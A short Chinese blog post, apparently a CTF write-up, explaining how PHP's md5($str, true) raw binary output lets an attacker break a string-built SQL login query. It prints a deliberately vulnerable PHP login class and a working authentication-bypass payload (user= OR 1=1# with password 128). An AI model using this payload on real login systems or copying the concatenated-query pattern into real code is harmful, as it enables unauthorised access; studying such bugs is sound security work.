md5($str,true)引发的sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class RealSecureLoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input) {
return addslashes($input);
}
}

$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}

在上面的代码中,$queryBuilder拼接了一条sql查询语句,但是对传入的user进行了addslashes函数过滤,也就是说没有办法通过user进行注入,而且pass变量是经过md5计算的散列值,理论上也没有办法进行注入,但是这里这里md5()函数的$raw_output值设置为true,那么这个md5报文摘要将以16字节长度的原始二进制格式返回。
什么意思呢?看一下下面的执行结果

也就是说这个二进制格式的返回值会引入其他非预期的字符,比如说\
这里经过fazz,发现 md5(128, true) 最后的结果带有反斜杠。因此这题最后的payload如下:

1
user= OR 1=1#&passwd=128

另外实验吧的一道题目类似
http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

本文标题:md5($str,true)引发的sql注入

文章作者:boogle

发布时间:2018年01月25日 - 15:12

最后更新:2019年03月07日 - 11:37

原始链接:https://zhengbao.wang/md5-true-引发的sql注入/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗